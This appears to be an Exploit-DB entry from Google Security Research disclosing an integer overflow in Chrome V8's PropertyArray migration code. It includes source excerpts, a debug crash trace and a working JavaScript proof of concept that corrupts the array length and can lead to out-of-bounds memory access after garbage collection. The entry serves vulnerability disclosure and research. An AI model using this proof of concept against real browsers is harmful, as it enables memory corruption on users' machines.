Exploit-DB #44179
Description: Chrome V8 - 'PropertyArray' Integer Overflow
Type: dos
Platform: multiple
Date: 2018-02-27
Author: Google Security Research

Exploit:
/*
Here's a snippet of the MigrateFastToFast function which is used to create a new PropertyArray object.

  int number_of_fields = new_map->NumberOfFields();
  int inobject = new_map->GetInObjectProperties();
  int unused = new_map->UnusedPropertyFields();

  ...

  int total_size = number_of_fields + unused;
  int external = total_size - inobject;
  Handle<PropertyArray> array = isolate->factory()->NewPropertyArray(external);

The new_map variable may come from the Map::CopyWithField method.

Here's a snippet of the method.
MaybeHandle<Map> Map::CopyWithField(Handle<Map> map, Handle<Name> name,
                                    Handle<FieldType> type,
                                    PropertyAttributes attributes,
                                    PropertyConstness constness,
                                    Representation representation,
                                    TransitionFlag flag) {
  ...
  if (map->NumberOfOwnDescriptors() >= kMaxNumberOfDescriptors) {
    return MaybeHandle<Map>();
  }

  DCHECK_IMPLIES(!FLAG_track_constant_fields, constness == kMutable);
  Descriptor d = Descriptor::DataField(name, index, attributes, constness,
                                       representation, wrapped_type);

  Handle<Map> new_map = Map::CopyAddDescriptor(map, &d, flag);
  new_map->AccountAddedPropertyField();
  return new_map;
}

The Map::CopyAddDescriptor method adds one more descriptor to the map, and the AccountAddedPropertyField method may make the UnusedPropertyFields() up to 2. Since kMaxNumberOfDescriptors is 1022, new_map's NumberOfFields() can be 1022, and UnusedPropertyFields() can be 2 in certain circumstances.

This means, in the MigrateFastToFast method, the "external" variable can be 1024 which exceeds the maximum value of a ProperyArray's length which is 1023. So the created array's length() will return 0, it hits the following assert.

#
# Fatal error in ../../v8/src/objects-inl.h, line 1750
# Debug check failed: index < this->length() (0 vs. 0).
#

==== C stack trace ===============================

    0   d8                                  0x[PII_REDACTED]1f6372 v8::base::debug::StackTrace::StackTrace() + 34
    1   d8                                  0x[PII_REDACTED]1fdcc0 v8::platform::(anonymous namespace)::PrintStackTrace() + 192
    2   d8                                  0x[PII_REDACTED]1eaf4a V8_Fatal(char const*, int, char const*, ...) + 442
    3   d8                                  0x[PII_REDACTED]1ea6af v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47
    4   d8                                  0x[PII_REDACTED]b0375c v8::internal::PropertyArray::set(int, v8::internal::Object*) + 1116
    5   d8                                  0x[PII_REDACTED]30e10e v8::internal::JSObject::MigrateToMap(v8::internal::Handle<v8::internal::JSObject>, v8::internal::Handle<v8::internal::Map>, int) + 18558
    6   d8                                  0x[PII_REDACTED]1f858b v8::internal::LookupIterator::ApplyTransitionToDataProperty(v8::internal::Handle<v8::internal::JSObject>) + 1899
    7   d8                                  0x[PII_REDACTED]32221e v8::internal::Object::AddDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::internal::ShouldThrow, v8::internal::Object::StoreFromKeyed) + 2254
    8   d8                                  0x[PII_REDACTED]31f338 v8::internal::Object::SetProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::LanguageMode, v8::internal::Object::StoreFromKeyed) + 1112
    9   d8                                  0x[PII_REDACTED]f90c07 v8::internal::StoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Name>, v8::internal::Handle<v8::internal::Object>, v8::internal::Object::StoreFromKeyed) + 4647
    10  d8                                  0x[PII_REDACTED]f9ca62 v8::internal::KeyedStoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) + 2258
    11  d8                                  0x[PII_REDACTED]fae469 v8::internal::__RT_impl_Runtime_KeyedStoreIC_Miss(v8::internal::Arguments, v8::internal::Isolate*) + 1321
    12  d8                                  0x[PII_REDACTED]fad513 v8::internal::Runtime_KeyedStoreIC_Miss(int, v8::internal::Object**, v8::internal::Isolate*) + 979
    13  ???                                 0x000000010d385204 0x0 [PII_REDACTED]
Received signal 4 <unknown> 0001071f2478
Illegal instruction: 4

It seems like OOB writes, but actually it is not. array->length() just returns 0, it's allocated enough to contain 1024 elements. But this affects the Garbage Collector to reallocate the array with the 0 length. So after the garbage collection, it can lead to OOB reads/writes.

PoC:
*/

function gc() {
    for (let i = 0; i < 20; i++)
        new ArrayBuffer(0x1000000);
}

function trigger() {
    function* generator() {
    }

    for (let i = 0; i < 1022; i++) {
        generator.prototype['b' + i];
        generator.prototype['b' + i] = 0x1234;
    }

    gc();

    for (let i = 0; i < 1022; i++) {
        generator.prototype['b' + i] = 0x1234;
    }
}

trigger();